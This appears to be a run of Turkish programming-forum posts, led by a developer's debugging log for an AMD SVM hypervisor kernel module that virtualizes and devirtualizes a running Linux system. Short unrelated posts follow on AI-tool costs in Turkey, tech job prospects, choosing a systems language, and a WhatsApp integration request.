En sinsi bug buydu. Sistem görünürde çalışıyor, CPUID intercept çalışıyor, ama birkaç saniye sonra soft lockup.
Ne oluyordu? Bir CPU TLB flush gönderiyor, diğer CPU'ların acknowledge etmesini bekliyor. Ama diğer CPU'lar VMRUN içinde, IPI'ı handle etmiyor. Gönderen CPU sonsuza spin ediyor.
Çözüm basit görünüyor: INTR intercept ekle, IPI'ları handle et. Ama INTR intercept ekleyince bu sefer hard lockup NMI bile gelmiyor. Sonra anladım: interrupt re-inject yapmam lazım, yoksa IPI kayboluyordu.
Günlerce bu üzerinde çalıştım.
Sonunda farklı bir yaklaşım buldum INTR intercept olmadan, CPUID intercept'te flag kontrolü yaparak devirtualize. Her CPUID VMEXIT'te sv_should_exit flag'ini kontrol et, set edilmişse o CPU kendini devirtualize etsin. rmmod anında flag'i set et, CPU'ların çıkmasını bekle, sonra NPT'yi free et. Ama burda da bellek bariyerleri ve atomik olmaz zorundaydı ve log yoktu çünkü atomik bağlamda dmesg logu basamazsınız.
GS_BASE race
atomic_inc per-CPU pointer kullanıyor, bu %gs:offset ile erişiliyor. Ama vmload sonrası guest GS_BASE aktif yani kernel kodu guest GS_BASE ile per-CPU verisine erişmeye çalışıyor, yanlış adres, crash.
Fix tek satır: atomic_inc'i vmload'dan önceye taşı. Ama bunu bulmak saatler aldı.
NPT coverage GPU MMIO
AMD Radeon 760M entegre GPU'nun MMIO bölgesi ~288GB'ta. NPT identity map'im başlangıçta sadece RAM'i kapsıyordu (~18GB). Guest kernel GPU'ya erişmeye çalışınca NPF (Nested Page Fault), devirtualize crash.
Çözüm: identity map'i 1TB'a çıkarmak. Ama bu da başka soruna yol açtı vzalloc ile allocate edilen page table'lar GPU MMIO range'iyle çakışıyordu, rastgele pikseller beliriyordu ekranda. kzalloc'a geçince düzeldi.
Devirtualize sıralaması
rmmod anında 12 CPU'nun hepsinin devirtualize olmasını, sonra NPT'yi free etmem lazım. Ama nasıl emin olacaksın? Atomic counter her CPU devirtualize olunca increment ediyor, ana thread counter'ı poll ediyor. Basit ama implementasyonu doğru yapmak önemli. Counter'ı yanlış yerde increment edersen ya crash ya deadlock.
Şu anki durum:
insmod: 12/12 CPU virtualized
btop açık, sistem normal çalışıyor
rmmod: 12/12 CPU devirtualized (561ms içinde)
Repo şimdilik yok biraz kod temizliği ve debug log ve 2-3 optimizasyon vb yaptıktan sonra düşünüyorum. Saygılar.
Claude artık türkiyede yaşayan yazılımcılar için çok pahalı olmaya başladı.
aylık 200 dolarlık paket bile yetersiz kalmaya başlamışken asgari ücretin 660 dolar olduğu bir ülkede her ay kendi cebinden bu paraları vermek uzun vadede imkansız bence. Sizlerin ai modellerinden fiyat/performans açısından yeterli gördüğünüz modelleri ve kullandığınız ideleri merak ediyorum.
Cursor codex ve antivgravity 20 dolarlık paketleri mevcut bende. çinli modelleri deneyimleyen var mı memnun musunuz?
Sosyal medya da incelediğim kadarıyla ve etrafımdaki insanlara baktığımda çoğunu veya neredeyse hepsi iş bulmakta zorlandığını veya hiç bulamadığını söylüyorlar. Bu gerçekten öyle mi? ben meslek lisesinde bilişim okuyorum ve düşük-seviye yazılımcıyım ve bilgisayar mühendisliği düşünüyorum sanırım, ama iş bulamama gibi düşüncelere kapılıyorum. Aranızda üniversite de okuyan ve mühendis olarak çalışan abilerim veya ablalarım beni bu konuda aydınlatabilir mi?
Bu basit bir beginner sorusu değil. istediğim kriterlere uyan bir dil henüz bulamadığım için soruyorum diyebilirim. amacım low level, linuxta package manager, init sistemi vs. yazmak. sözdizimi ve rahatlıktan yapay zeka Nim, Go ve Vlang önerdi. ama hala emin değilim. sistem araçları yazmak istiyorum ve siz demeden önce söyleyeyim rust pek hoşuma gitmedi (karmaşık bir sistemi var ve o derece bir titizliğe gerek yok bence)
Edit1:Son kararım C öğrenmeye başlıyorum 😃
Arkadaşlar bir projem için wp entegrasyonuna ihtiyacım var.
Meta kısmıyla falan uğraşmak istemiyorum. Aracı bir kurum var mı bu işin ehli.
Aydınlatırsanız sevinirim